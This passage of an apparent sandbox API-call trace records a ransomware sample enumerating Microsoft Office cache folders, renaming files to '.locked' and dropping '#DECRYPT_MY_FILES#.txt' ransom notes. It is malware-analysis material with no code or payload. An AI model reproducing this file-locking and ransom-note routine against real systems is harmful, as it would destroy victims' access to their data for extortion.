Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.locked") returned 86 [0031.960] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.locked"), dwFlags=0x2) returned 1 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.960] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0031.960] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.960] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.960] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.960] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.960] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.961] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.961] AreFileApisANSI () returned 1 [0031.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.961] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x94) returned 0x806668 [0031.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.961] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.962] GetFileType (hFile=0xc8) returned 0x1 [0031.962] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.968] AreFileApisANSI () returned 1 [0031.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0031.968] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x136) returned 0x819f70 [0031.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x819f70, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x81a004, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.locked") returned 81 [0031.968] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0031.968] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.969] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0031.969] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0031.969] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x827800 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.969] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.969] AreFileApisANSI () returned 1 [0031.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0031.969] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0031.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt") returned 87 [0031.970] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0031.972] GetFileType (hFile=0x120) returned 0x1 [0031.972] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.973] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60a63a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60a63a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0031.973] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60a63a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60a63a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0031.973] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb60a63a0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb60a63a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60a63a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.973] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.973] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.973] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.973] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.973] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.973] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.973] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0031.973] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.973] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.973] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.973] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.973] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.973] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.974] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.974] AreFileApisANSI () returned 1 [0031.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.974] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x94) returned 0x806668 [0031.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.974] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.974] GetFileType (hFile=0xc8) returned 0x1 [0031.974] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.978] AreFileApisANSI () returned 1 [0031.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0031.978] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x136) returned 0x819f70 [0031.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x819f70, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x81a004, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.locked") returned 81 [0031.978] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.979] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x3, dwReserved1=0x3, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.979] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x3, dwReserved1=0x3, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.979] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x3, dwReserved1=0x3, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.979] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.979] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.980] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.980] AreFileApisANSI () returned 1 [0031.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0031.980] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x98) returned 0x806668 [0031.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=76 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 76 [0031.980] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.980] GetFileType (hFile=0xc8) returned 0x1 [0031.980] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.983] AreFileApisANSI () returned 1 [0031.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0031.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0031.983] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x13e) returned 0x80cde8 [0031.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=76 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 76 [0031.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x80ce80, cchWideChar=83 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.locked") returned 83 [0031.983] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.locked"), dwFlags=0x2) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.984] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x3, dwReserved1=0x3, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0031.984] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0031.984] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x827800 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.984] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.984] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.985] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.985] AreFileApisANSI () returned 1 [0031.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0031.985] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0031.985] MultiByteToWideChar (in: 